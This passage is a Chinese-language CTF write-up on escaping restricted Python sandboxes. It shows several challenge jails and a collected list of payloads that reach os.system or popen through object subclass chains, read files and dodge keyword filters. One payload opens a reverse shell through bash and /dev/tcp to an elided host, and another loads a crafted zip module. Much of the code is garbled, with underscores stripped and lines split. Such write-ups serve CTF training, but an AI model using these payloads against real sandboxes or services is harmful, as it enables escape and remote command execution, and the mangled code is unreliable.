restricted attribute>>> getattr(getattr(__import__('types'), 'FileType')('key'), 're''ad')()file() constructor not accessible in restricted mode>>> getattr(__import__('types').__builtins__['__tropmi__'[::-1]]('so'[::-1]), 'mets' 'ys'[::-1])('whoami')root


2.__ future _

from __future__ import print_function
banned =[****]targets = __builtins__.__dict__.keys()targets.remove('raw_input')targets.remove('print')for x in targets:
    del __builtins__.__dict__[x]while 1:
    print(">>>", end=' ')
    data = raw_input()
    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else: # this means nobreak
        exec data

由源码可以知道没有ban reload函数,所以思路可以是reload内建函数。但是尝试后reload(builtins)不正确。又因为题目只ban了builtins里的函数,所以可以尝试通过继承关系完成(见上面的A->os示例,使用了<class ‘site._Printer’>)

print("".class.mro[2].subclasses()[72].init.globals[‘os’]).system(‘dir’)
显然上面的os是被禁用的,所以需要使用字符串变形(见上文),这里使用常用的base64处理
print("".class.mro[2].subclasses()[72].init.globals[‘b3M=’.decode(‘base64’)]).system(‘dir’)
还有其他的payload可供分析:
print(().class.bases[0].subclasses()[59].init.func_globals[‘linecache’].dict[‘o’+‘s’].dict

’sy’+‘stem’

)



3.hackuctf 2012

def make_secure():
	UNSAFE = [****]
	 
	for func in UNSAFE:
		del __builtins__.__dict__[func] 
	from re import findall#Remove dangerous builtinsmake_secure()print'Go Ahead, Expoit me >;D'whileTrue: 
	try:
		print ">>>",
		 # Read user input until the firstwhitespace character 
		inp = findall('\S+',raw_input())[0]
		a = None 25.         
	         # Set a to the result from executingthe user input
		exec 'a=' + inp         
	        print '>>>', a	except Exception, e: 
	         print 'Exception:', e 

运行后效果和平时的python命令行界面差不多只不过少了一些“敏感函数”。好像没ban os?直接import os看一下。

Go Ahead, Expoit me >;D>>> import os
Exception: invalid syntax (<string>, line 1)>>> import os
Exception: invalid syntax (<string>, line 1)

太天真。。肯定会ban,又不是什么签到题。
这里就需要结合上面继承和文件两部分的内容来绕过了,算是比较简单的一道题了。

>>> ().__class__.__bases__[0]>>> <type 'object'>>>> ().__class__.__bases__[0].__subclasses__()>>> [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]>>> ().__class__.__bases__[0].__subclasses__()[40]>>> <type 'file'>>>> ().__class__.__bases__[0].__subclasses__()[40]("./flag").read()Exception: [Errno 2] No such file or directory: './flag'   #因为我本地没有设置一个flag的文件所以会报错,实际已经完成了读取的操作了。


4.future

 #!/usr/bin/envpython
 from __future__ import print_function 
 print("Welcometo my Python sandbox! Enter commands below!")
 banned= [****]
 targets= __builtins__.__dict__.keys()
 targets.remove('raw_input')
 targets.remove('print')
 
 for x in targets:
 	del __builtins__.__dict__[x]
 while 1:
 	print(">>>", end='')
 	data = raw_input()
	 for no in banned:
		 if no.lower() in data.lower():
 			print("No bueno")
			break
  		else:
 		  # this means nobreak 
  		exec data 

经过尝试可以使用catch_warnings类(索引59),并且使用字符串拼接的方式来实现(也可以通过其他途径)来构造。

Welcometo my Python sandbox! Enter commands below!>>>().__class__.__bases__[0].__subclasses__()[59]>>>().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')'1.ISCC 2016 Pwn300 pycalc.py'  2future.py  '3.hackuctf 2012.py'   4..py


5.cuit2017

#-*-coding:utf-8-*- #!/usr/bin/python3 import sys, cmd, os 
del__builtins__.__dict__['__import__'] del__builtins__.__dict__['eval'] intro= """
pwnhubcuit
pwneverything
Rules:
    -No import
    -No ...
    -No flag
""" 
 defexecute(command): 
    exec(command, globals()) 
 classJail(cmd.Cmd): 
    prompt    = '>>> ' 
    filtered   ='***'.split('|') 
 
    def do_EOF(self, line): 
        sys.exit() 
 
    def emptyline(self): 
        return cmd.Cmd.emptyline(self) 
 
    def default(self, line): 
        sys.stdout.write('\x00') 
 
    def postcmd(self, stop, line): 
        if any(f in line for f in self.filtered): 
            print("You are a big hacker!!!") 
            print("Go away") 
        else: 
           try: 
                execute(line) 
           except NameError: 
                print("NameError: name'%s' is not defined" % line) 
           except Exception: 
                print("Error: %s" %line) 
        return cmd.Cmd.postcmd(self, stop,line) 
 if__name__ == "__main__": 
    try: 
        Jail().cmdloop(intro) 
    except KeyboardInterrupt: 
        print("\rSee you next time!") 

这题不仅ban函数,还ban了符号。

pwnhubcuit
pwneverything
Rules:
    -No import
    -No ...
    -No flag>>> ().__class__.__bases__[0].__subclasses__()You are a big hacker!!!
Go away>>> ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')You are a big hacker!!!
Go away>>> print(().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls'))You are a big hacker!!!
Go away>>> print()>>> print(getattr(os,"system")("ls")) '1.ISCC 2016 Pwn300 pycalc.py' '3.hackuctf 2012.py'   5.cuit2017.py


payload集锦

大家可以阅读这些收集而来的payload,虽然题目或者环境总不一定是这些方法,但是本质都是一样的理解了怎么构造,思路自然来的清晰。

print [].class.base.subclasses()

40

.read() #查看文件


().class.bases[0].subclasses()

40

.read()
相当于:().class.bases[0].subclasses()

40

).read() #字符串的处理上还可以用其他的很多


[].class.base.subclasses()[60].init.getattribute(‘func_global’+‘s’)[‘linecache’].dict.values()[12]>


print [].class.base.subclasses()[59].init.func_globals[‘linecache’].dict.values()[12].dict.values()

144

linecache中查找os模块执行系统命令


getattr(import(‘types’).builtins

’tropmi’[::-1]

, ‘mets’ ‘ys’[::-1])(‘whoami’)


().class.bases[0].subclasses()[59].init.func_globals[‘linecache’].dict[‘o’+‘s’].dict

’sy’+‘stem’




().class.bases[0].subclasses()[59].init.getattribute(‘func_global’+‘s’)[‘linecache’].dict[‘o’+‘s’].dict

’popen’

.read()


print(().class.bases[0].subclasses()[59].init.func_globals[‘linecache’].dict[‘o’+‘s’].dict

’sy’+‘stem’

)


{}.class.bases[0].subclasses()[71].getattribute({}.class.bases[0].subclasses()[71].init.func,‘func’+’_global’ +‘s’)[‘o’+‘s’].popen(‘bash -c “bash -i >& /dev/tcp/xxx/xxx 0<&1 2>&1”’) #自模块中寻找os模块 执行系统命令


print [].class.base.subclasses()

40

.read()


print [].class.base.subclasses()

40

.read()


print [].class.base.subclasses()

40

.read()


print [].class.base.subclasses()

40

.read() #读取重要信息


code = “PK\x03\x04\x14\x03\x00\x00\x08\x00\xec\xb9\x9cL\x15\xa5\x99\x18;\x00\x00\x00>\x00\x00\x00\n\x00\x00\x00Err0rzz.pySV\xd0\xd5\xd2UH\xceO\xc9\xccK\xb7R(-I\xd3\xb5\x00\x89pqe\xe6\x16\xe4\x17\x95(\xe4\x17sq\x15\x14e\xe6\x81Xz\xc5\x95\xc5%\xa9\xb9\x1a\xea9\xc5\n\xba\x899\xea\x9a\\x00PK\x01\x02?\x03\x14\x03\x00\x00\x08\x00\xec\xb9\x9cL\x15\xa5\x99\x18;\x00\x00\x00>\x00\x00\x00\n\x00$\x00\x00\x00\x00\x00\x00\x00 \x80\xa4\x81\x00\x00\x00\x00Err0rzz.py\n\x00 \x00\x00\x00\x00\x00\x01\x00\x18\x00\x00\xd6\x06\xb2p\xdf\xd3\x01\x80\x00\xads\xf9\xa7\xd4\x01\x80\x00\xads\xf9\xa7\xd4\x01PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\\x00\x00\x00c\x00\x00\x00\x00\x00”
print [].class.base.subclasses()

40

.write(code)
print [].class.base.subclasses()

40

.read()
[].class.base.subclasses()

55

.load_module(‘Err0rzz’) #构造zip module使用zipimporter


x = [x for x in [].class.base.subclasses() if x.name == ‘ca’+‘tch_warnings’][0].init


x.getattribute(“func_global”+“s”)[‘linecache’].dict[‘o’+‘s’].dict

’sy’+‘stem’




x.getattribute(“func_global”+“s”)[‘linecache’].dict[‘o’+‘s’].dict[‘sy’+‘stem’](‘l’+‘s /home/ctf’)


x.getattribute(“func_global”+“s”)[‘linecache’].dict[‘o’+‘s’].dict

’sy’+‘stem’

5.供参考资料/源码下载

习题源码下载


https://www.jianshu.com/p/290709f50861
https://www.freebuf.com/articles/system/203208.html
https://www.cnblogs.com/hf99/p/9753376.html
https://www.jianshu.com/p/5d339d60e390
https://www.cnblogs.com/-qing-/p/11656544.html

相关文章推荐